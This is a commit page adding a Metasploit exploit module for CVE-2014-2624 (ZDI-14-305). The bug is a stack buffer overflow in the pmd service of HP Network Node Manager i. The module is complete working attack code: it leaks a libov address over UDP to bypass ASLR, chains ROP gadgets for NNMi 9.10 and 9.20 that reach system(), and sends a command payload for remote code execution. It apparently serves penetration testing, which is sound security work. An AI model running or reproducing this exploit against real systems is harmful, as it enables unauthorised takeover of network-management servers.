Skip to content

Commit f2cfbeb

Browse files
committed
Add module for ZDI-14-305
1 parent 11b9a8a commit f2cfbeb

File tree

1 file changed

+229
-0
lines changed

1 file changed

+229
-0
lines changed
Lines changed: 229 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,229 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = NormalRanking
10+
11+
include Msf::Exploit::Remote::Udp
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'HP Network Node Manager I PMD Buffer Overflow',
16+
'Description' => %q{
17+
This module exploits a stack buffer overflow in HP Network Node Manager I (NNMi). The
18+
vulnerability exists in the pmd service, due to the insecure usage of functions like
19+
strcpy and strcat while handling stack_option packets with user controlled data. In
20+
order to bypass ASLR this module uses a proto_tbl packet to leak an libov pointer from
21+
the stack and finally build the rop chain to avoid NX.
22+
},
23+
'Author' =>
24+
[
25+
'd(-_-)b', # Vulnerability discovery
26+
'juan vazquez' # Metasploit module
27+
],
28+
'References' =>
29+
[
30+
['CVE', '2014-2624'],
31+
['ZDI', '14-305']
32+
],
33+
'Payload' =>
34+
{
35+
'BadChars' => "\x00",
36+
'Space' => 3000,
37+
'DisableNops' => true,
38+
'Compat' =>
39+
{
40+
'PayloadType' => 'cmd cmd_bash',
41+
'RequiredCmd' => 'generic python perl openssl bash-tcp gawk'
42+
}
43+
},
44+
'Arch' => ARCH_CMD,
45+
'Platform' => 'unix',
46+
'Targets' =>
47+
[
48+
['Automatic', {}],
49+
['HP NNMi 9.10 / CentOS 5',
50+
{
51+
# ptr to .rodata with format specifier
52+
#.rodata:0003BE86 aS_1 db '%s',0
53+
'ov_offset' => 0x3BE86,
54+
:rop => :rop_hp_nnmi_9_10
55+
}
56+
],
57+
['HP NNMi 9.20 / CentOS 6',
58+
{
59+
# ptr to .rodata with format specifier
60+
#.rodata:0003C2D6 aS_1 db '%s',0
61+
'ov_offset' => 0x3c2d8,
62+
:rop => :rop_hp_nnmi_9_20
63+
}
64+
]
65+
],
66+
'Privileged' => false, # true for HP NNMi 9.10, false for HP NNMi 9.20
67+
'DisclosureDate' => 'Sep 09 2014',
68+
'DefaultTarget' => 0
69+
))
70+
71+
register_options([ Opt::RPORT(7426) ], self.class)
72+
end
73+
74+
def check
75+
header = [
76+
0x2a5, # pmdmgr_init pkt
77+
0x3cc, # signature
78+
0xa0c, # signature
79+
0xca8 # signature
80+
].pack("V")
81+
82+
data = "\x00" * (0xfa4 - header.length)
83+
84+
pkt = header + data
85+
86+
connect_udp
87+
udp_sock.put(pkt)
88+
res = udp_sock.timed_read(8, 1)
89+
if res.blank?
90+
# To mitigate MacOSX udp sockets behavior
91+
# see https://dev.metasploit.com/redmine/issues/7480
92+
udp_sock.put(pkt)
93+
res = udp_sock.timed_read(8)
94+
end
95+
disconnect_udp
96+
97+
if res.blank?
98+
return Exploit::CheckCode::Unknown
99+
elsif res.length == 8 && res.unpack("V").first == 0x2a5
100+
return Exploit::CheckCode::Detected
101+
else
102+
return Exploit::CheckCode::Unknown
103+
end
104+
end
105+
106+
def exploit
107+
connect_udp
108+
# info leak with a "proto_tbl" packet
109+
print_status("Sending a 'proto_tbl' request...")
110+
udp_sock.put(proto_tbl_pkt)
111+
112+
res = udp_sock.timed_read(13964, 1)
113+
if res.blank?
114+
# To mitigate MacOSX udp sockets behavior
115+
# see https://dev.metasploit.com/redmine/issues/7480
116+
udp_sock.put(proto_tbl_pkt)
117+
res = udp_sock.timed_read(13964)
118+
end
119+
120+
if res.blank?
121+
fail_with(Failure::Unknown, "Unable to get a 'proto_tbl' response...")
122+
end
123+
124+
if target.name == 'Automatic'
125+
print_status("Fingerprinting target...")
126+
my_target = auto_target(res)
127+
fail_with(Failure::NoTarget, "Unable to autodetect target...") if my_target.nil?
128+
else
129+
my_target = target
130+
fail_with(Failure::Unknown, "Unable to leak libov base address...") unless find_ov_base(my_target, res)
131+
end
132+
133+
print_good("Exploiting #{my_target.name} with libov base address at 0x#{@ov_base.to_s(16)}...")
134+
135+
# exploit with a "stack_option_pkt" packet
136+
udp_sock.put(stack_option_pkt(my_target, @ov_base))
137+
138+
disconnect_udp
139+
end
140+
141+
def rop_hp_nnmi_9_10(ov_base)
142+
rop = rand_text_alpha(775)
143+
rop << [0x808d7c1].pack("V") # pop ebx ; pop ebp ; ret
144+
rop << [ov_base + 0x481A8].pack("V") # ebx: libov .got
145+
rop << [0x8096540].pack("V") # ptr to .data where user controlled string will be stored:
146+
# "PMD Stack option specified, but stack not available (user_controlled)"
147+
rop << [0x808d7c2].pack("V") # pop ebp # ret
148+
rop << [0x08096540 + 4732].pack("V") # ebp: ptr to our controlled data in .data (+0x1028 to compensate)
149+
rop << [ov_base + 0x1D692].pack("V") # ptr to 'call _system' sequence:
150+
#.text:0001D692 lea eax, [ebp+dest]
151+
#.text:0001D698 push eax ; command
152+
#.text:0001D699 call _system
153+
rop
154+
end
155+
156+
def rop_hp_nnmi_9_20(ov_base)
157+
rop = rand_text_alpha(775)
158+
rop << [0x808dd70].pack("V") # pop eax ; pop ebx ; pop ebp ; ret
159+
rop << [0xf7f61cd0 + ov_base + 0x1dae6].pack("V") # eax: ptr to 'call _system' sequence
160+
#.text:0001DAE6 lea eax, [ebp+dest] (dest = -0x1028)
161+
#.text:0001DAEC push eax ; command
162+
#.text:0001DAED call _system
163+
rop << [0x08097160].pack("V") # ebx: ptr to .data where user controlled string will be stored:
164+
# "PMD Stack option specified, but stack not available (user_controlled)"
165+
rop << rand_text_alpha(4) # ebp: padding
166+
rop << [0x804fb86].pack("V") # add eax 0x809e330 ; add ecx ecx ; ret (control eax)
167+
rop << [0x8049ac4].pack("V") # xchg eax, edi ; ret
168+
rop << [0x808dd70].pack("V") # pop eax ; pop ebx ; pop ebp ; ret
169+
rop << [0xf7f61cd0 + ov_base + 0x47f1c].pack("V") # eax: libov .got base
170+
rop << rand_text_alpha(4) # ebx: padding
171+
rop << [0x8097160 + 4764].pack("V") # ebp: ptr to our controlled data in .data (+0x1028 to compensate)
172+
rop << [0x804fb86].pack("V") # add eax 0x809e330 ; add ecx ecx ; ret (control eax)
173+
rop << [0x805a58d].pack("V") # xchg ebx eax ; and eax 0xc4830001 ; and cl cl ; ret (ebx: libov .got)
174+
rop << [0x8049ac4].pack("V") # xchg eax, edi ; ret ; (eax: call to system sequence from libov)
175+
rop << [0x80528BC].pack("V") # jmp eax
176+
177+
rop
178+
end
179+
180+
def stack_option_pkt(t, ov_base)
181+
hdr = [0x2a9].pack("V") # stack_option packet
182+
data = "-SA" # stack name (invalid one 'A')
183+
data << ";" # separator
184+
data << self.send(t[:rop], ov_base) # malformed stack options
185+
data << payload.encoded
186+
data << ";\n"
187+
data << "\x00" * (0xfa4 - data.length - hdr.length)
188+
189+
hdr + data
190+
end
191+
192+
def proto_tbl_pkt
193+
hdr = [0x2aa].pack("V") # proto_tbl packet
194+
data = "\x00" * (0xfa4 - hdr.length)
195+
196+
hdr + data
197+
end
198+
199+
def base(address, offset)
200+
address - offset
201+
end
202+
203+
def find_ov_base(t, data)
204+
print_status("Searching #{t.name} pointers...")
205+
i = 0
206+
data.unpack("V*").each do |int|
207+
if base(int, t['ov_offset']) % 0x1000 == 0
208+
print_status("Pointer 0x#{int.to_s(16)} found at offset #{i * 4}")
209+
@ov_base = base(int, t['ov_offset'])
210+
return true
211+
end
212+
i = i + 1
213+
end
214+
215+
false
216+
end
217+
218+
def auto_target(data)
219+
targets.each do |t|
220+
next if t.name == 'Automatic'
221+
if find_ov_base(t, data)
222+
return t
223+
end
224+
end
225+
226+
nil
227+
end
228+
229+
end

0 commit comments

Comments
 (0)